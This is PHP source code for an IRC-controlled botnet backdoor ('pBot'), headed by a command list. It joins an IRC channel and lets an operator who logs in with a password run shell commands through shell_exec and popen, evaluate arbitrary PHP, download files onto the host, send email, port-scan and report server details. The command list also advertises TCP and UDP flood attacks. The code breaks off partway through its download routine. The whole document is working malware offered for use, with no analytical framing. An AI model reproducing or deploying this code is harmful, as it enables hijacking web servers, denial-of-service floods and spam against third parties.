= COMMANDS ============================================================================
.user <password> //login to the bot
.logout //logout of the bot
.die
//kill the bot
.restart
//restart the bot
.mail <to>
<from> <subject> <msg> //send an email
.dns <IP|HOST> //dns lookup
.download <URL> <filename> //download a
file
.exec <cmd> // uses shell_exec() //execute a
command
.cmd <cmd> // uses popen() //execute a
command
.info //get system
information
.php <php code> // uses eval()
//execute php code
.tcpflood <target> <packets> <packetsize>
<port> <delay> //tcpflood attack
.udpflood <target>
<packets> <packetsize> <delay> //udpflood attack
.raw
<cmd> //raw IRC command
.rndnick //change nickname
.pscan
<host> <port> //port scan
.ud.server <newhost> <newport> [newpass] //change IRC
server
----------------------------------------------------------------------------------
-----
<?
set_time_limit(0);
error_reporting(0);
class pBot
{
var
$config = array("server"=>"irc.quakenet.org",
"port"=>6667,
"pass"=>"", //senha do server
"prefix"=>"Malvadeza",
"maxrand"=>8,
"chan"=>"#bruxo",
"key"=>"", //senha do
canal
"modes"=>"+p",
"password"=>"2", //senha do bot
"trigger"=>".",
"hostauth"=>"*" // * for any hostname
);
var $users = array();
function start()
{
if(!($this->conn =
fsockopen($this->config['server'],$this->config['port'],$e,$s,30)))
$this->start();
$ident = "xd";
$alph = range("a","z");
for($i=0;$i<$this->config['maxrand'];$i++)
$ident .= $alph[rand(0,25)];
if(strlen($this->config['pass'])>0)
$this->send("PASS
".$this->config['pass']);
$this->send("USER $ident 127.0.0.1 localhost
:$ident");
$this->set_nick();
$this->main();
}
function main()
{
while(!feof($this->conn))
{
$this->buf =
trim(fgets($this->conn,512));
$cmd = explode(" ",$this->buf);
if(substr($this->buf,0,6)=="PING :")
{
$this->send("PONG
:".substr($this->buf,6));
}
if(isset($cmd[1]) && $cmd[1]
=="001")
{
$this->send("MODE ".$this->nick."
".$this->config['modes']);
$this->join($this->config['chan'],$this->config['key']);
}
if(isset($cmd[1]) && $cmd[1]=="433")
{
$this->set_nick();
}
if($this->buf != $old_buf)
{
$mcmd = array();
$msg = substr(strstr($this->buf," :"),2);
$msgcmd = explode(" ",$msg);
$nick = explode("!",$cmd[0]);
$vhost = explode("@",$nick[1]);
$vhost = $vhost[1];
$nick =
substr($nick[0],1);
$host = $cmd[0];
if($msgcmd[0]==$this->nick)
{
for($i=0;$i<count($msgcmd);$i++)
$mcmd[$i] = $msgcmd[$i+1];
}
else
{
for($i=0;$i<count($msgcmd);$i++)
$mcmd[$i] = $msgcmd[$i];
}
if(count($cmd)>2)
{
switch($cmd[1])
{
case "QUIT":
if($this->is_logged_in($host))
{
$this->log_out($host);
}
break;
case "PART":
if($this->is_logged_in($host))
{
$this->log_out($host);
}
break;
case "PRIVMSG":
if(!$this->is_logged_in($host) && ($vhost == $this->config['hostauth'] ||
$this->config['hostauth'] == "*"))
{
if(substr($mcmd[0],0,1)==".")
{
switch(substr($mcmd[0],1))
{
case
"admin":
if($mcmd[1]==$this->config['password'])
{
$this->privmsg($this->config['chan'],"[\2Auth\2]: $nick logged in");
$this->log_in($host);
}
else
{
$this->privmsg($this->config['chan'],"[\2Auth\2]: Incorrect password
from $nick");
}
break;
}
}
}
elseif($this->is_logged_in($host))
{
if(substr($mcmd[0],0,1)==".")
{
switch(substr($mcmd[0],1))
{
case
"rr":
$this->send("QUIT :restart");
fclose($this->conn);
$this->start();
break;
case
"mail": //mail to from subject message
if(count($mcmd)>4)
{
$header = "From: <".$mcmd[2].">";
if(!mail($mcmd[1],$mcmd[3],strstr($msg,$mcmd[4]),$header))
{
$this->privmsg($this->config['chan'],"[\2mail\2]: Unable to send");
}
else
{
$this->privmsg($this->config['chan'],"[\2mail\2]: Message sent to
\2".$mcmd[1]."\2");
}
}
break;
case "dns":
if(isset($mcmd[1]))
{
$ip = explode(".",$mcmd[1]);
if(count($ip)==4 && is_numeric($ip[0]) && is_numeric($ip[1])
&& is_numeric($ip[2]) && is_numeric($ip[3]))
{
$this->privmsg($this->config['chan'],"[\2dns\2]: ".$mcmd[1]." =>
".gethostbyaddr($mcmd[1]));
}
else
{
$this->privmsg($this->config['chan'],"[\2dns\2]: ".$mcmd[1]." =>
".gethostbyname($mcmd[1]));
}
}
break;
case
"info":
$this->privmsg($this->config['chan'],"[\2info\2]: [\2httpd\2:
".$_SERVER['SERVER_SOFTWARE']."] [\2docroot\2: ".$_SERVER['DOCUMENT_ROOT']."]
[\2domain\2: ".$_SERVER['SERVER_NAME']."] [\2admin\2:
".$_SERVER['SERVER_ADMIN']."] [\2url\2:".$_SERVER['REQUEST_URI']."]");
break;
case "bot":
$this->privmsg($this->config['chan'],"[\2Bot by Zcrew.Team|
v1.0\2]");
break;
case
"cmd":
if(isset($mcmd[1]))
{
$command =
substr(strstr($msg,$mcmd[0]),strlen($mcmd[0])+1);
$this->privmsg($this->config['chan'],"[\2cmd\2]: $command");
$pipe = popen($command,"r");
while(!feof($pipe))
{
$pbuf = trim(fgets($pipe,512));
if($pbuf !=
NULL)
$this->privmsg($this->config['chan']," : $pbuf");
}
pclose($pipe);
}
break;
case "rndnick":
$this->set_nick();
break;
case "mp":
$this->send(strstr($msg,$mcmd[1]));
break;
case "php":
$eval =
eval(substr(strstr($msg,$mcmd[1]),strlen($mcmd[1])));
break;
case "$":
$command =
substr(strstr($msg,$mcmd[0]),strlen($mcmd[0])+1);
$exec =
shell_exec($command);
$ret = explode("\n",$exec);
$this->privmsg($this->config['chan'],"[\2exec\2]:
$command");
for($i=0;$i<count($ret);$i++)
if($ret[$i]!=NULL)
$this->privmsg($this->config['chan']," : ".trim($ret[$i]));
break;
case "pscan": // .pscan 127.0.0.1
6667
if(count($mcmd) > 2)
{
if(fsockopen($mcmd[1],$mcmd[2],$e,$s,15))
$this->privmsg($this->config['chan'],"[\2pscan\2]:
".$mcmd[1].":".$mcmd[2]." is \2open\2");
else
$this->privmsg($this->config['chan'],"[\2pscan\2]:
".$mcmd[1].":".$mcmd[2]." is \2closed\2");
}
break;
case "udd.server": //
.udserver <server> <port> [password]
if(count($mcmd)>2)
{
$this->config['server'] = $mcmd[1];
$this->config['port'] = $mcmd[2];
if(isset($mcmcd[3]))
{
$this->config['pass'] = $mcmd[3];
$this->privmsg($this->config['chan'],"[\2update\2]: Changed server to
".$mcmd[1].":".$mcmd[2]." Pass: ".$mcmd[3]);
}
else
{
$this->privmsg($this->config['chan'],"[\2update\2]:
Changed server to ".$mcmd[1].":".$mcmd[2]);
}
}
break;
case "baixar":
if(count($mcmd) > 2)
{
if(!$fp =
fopen($mcmd[2],"w"))
{
$this->privmsg($this->config['chan'],"[\2download\2]: Cannot download,
permission denied.");
}
else
{
if(!$get = file($mcmd[1]))
{
$this->privmsg($this->config['chan'],"[\2download\2]: Unable
to download from \2".$mcmd[1]."\2");
}
else
{
for($i=0;$i<=count($get);$i++)
{
[...]